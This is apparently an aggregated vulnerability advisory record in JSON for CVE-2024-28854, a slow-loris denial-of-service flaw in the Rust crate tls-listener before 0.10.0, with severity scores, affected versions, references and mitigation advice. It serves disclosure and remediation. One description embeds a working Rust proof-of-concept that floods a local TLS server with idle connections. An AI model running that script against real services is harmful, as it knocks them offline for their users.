{"id":"CVE-2024-28854","aliases":["CVE-2024-28854","GHSA-2qph-qpvm-2qf7","RUSTSEC-2024-0341"],"related":[],"kind":"vulnerability","state":"published","title":"Slow loris vulnerability with default configuration in tls-listener","summary":"tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.","source":"cvelist"},{"lang":"en","text":"### Summary\nWith the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.\n\n### Details\nThe default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.\n\n```rust\n/// Default number of concurrent handshakes\npub const DEFAULT_MAX_HANDSHAKES: usize = 64;\n/// Default timeout for the TLS handshake.\npub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);\n```\n\n### PoC\n\nRunning the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.\n\n```rust\nuse std::{net::ToSocketAddrs, time::Duration};\nuse tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};\n\n#[tokio::main]\nasync fn main() {\n    const N: usize = 1024;\n    const T: Duration = Duration::from_secs(10);\n\n    let url = \"127.0.0.1:3000\";\n    let sockets: Vec<_> = url\n        .to_socket_addrs()\n        .unwrap()\n        .inspect(|s| println!(\"{s:?}\"))\n        .collect();\n\n    let mut js = JoinSet::new();\n\n    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));\n    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);\n    for _ in 0..10000 {\n        for &socket in &sockets {\n            int.tick().await;\n            js.spawn(async move {\n                let mut stream = TcpStream::connect(socket).await.unwrap();\n                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;\n            });\n        }\n    }\n\n    while js.join_next().await.is_some() {}\n}\n\n```\n\n### Impact\n\nThis is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener`\n\n\n### Mitigation\n\nPrevious versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.","format":"markdown","source":"ghsa"},{"lang":"es","text":"tls-listener es un contenedor de idioma oxidado alrededor de un oyente de conexión para admitir TLS. Con la configuración predeterminada de tls-listener, un usuario malintencionado puede abrir 6.4 `TcpStream` por segundo, enviando 0 bytes y puede desencadenar un DoS. Las opciones de configuración predeterminadas hacen que cualquier servicio público que utilice `TlsListener::new()` sea vulnerable a un ataque DoS de loris lento. Esto afecta a cualquier servicio de acceso público que utilice la configuración predeterminada de tls-listener en versiones anteriores a la 0.10.0. Se recomienda a los usuarios que actualicen. Los usuarios que no puedan actualizar pueden mitigar esto pasando un valor grande, como `usize::MAX` como parámetro para `Builder::max_handshakes`.","source":"nvd"}],"published":"2024-03-15T12:00:00.000Z","modified":"2026-10-12T18:00:02.661Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"RustSec Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-400"],"affected":[{"ranges":[{"version":"< 0.10.0","status":"affected"}],"vendor":"tmccombs","product":"tls-listener","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"0.10.0","status":"affected"}],"vendor":"tmccombs","product":"tls-listener","cpe":"cpe:2.3:a:tmccombs:tls-listener:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.10.0"}],"ecosystem":"crates.io","package":"tls-listener","purl":"pkg:cargo/tls-listener","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.0.0-0","status":"affected","fixed":"0.10.0"}],"ecosystem":"crates.io","package":"tls-listener","purl":"pkg:cargo/tls-listener","source":"rustsec"},{"ranges":[{"status":"affected","fixed":"0.10.0"}],"vendor":"tmccombs","product":"tls-listener","cpe":"cpe:2.3:a:tmccombs:tls-listener:*:*:*:*:*:rust:*:*","source":"nvd"}],"references":[{"url":"https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7","tags":["exploit","mitigation","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","rustsec","nvd"]},{"url":"https://en.wikipedia.org/wiki/Slowloris_(computer_security)","tags":["product","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28854","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/tmccombs/tls-listener","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/tmccombs/tls-listener/releases/tag/v0.10.0","tags":["web"],"sources":["ghsa"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2024-0341.html","tags":["advisory","web"],"sources":["ghsa","rustsec"]},{"url":"https://crates.io/crates/tls-listener","tags":["package"],"sources":["rustsec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2024-07-23T17:56:15.552Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-28854","url":"https://www.cve.org/CVERecord?id=CVE-2024-28854","licence":"CVE Terms of Use","modified":"2024-08-02T00:56:58.073Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2qph-qpvm-2qf7","url":"https://github.com/advisories/GHSA-2qph-qpvm-2qf7","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:00.245Z"},{"source":"rustsec","name":"RustSec Advisory Database","id":"RUSTSEC-2024-0341","url":"https://rustsec.org/advisories/RUSTSEC-2024-0341.html","licence":"CC0-1.0","modified":"2026-10-12T18:00:02.661Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-28854","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28854","licence":"Public domain","modified":"2026-06-17T07:21:53.827Z"}],"updatedAt":"2026-11-25T22:58:37.598Z","epss":{"score":0.00973,"percentile":0.62996,"date":"2026-12-01T12:00:22.000Z"}}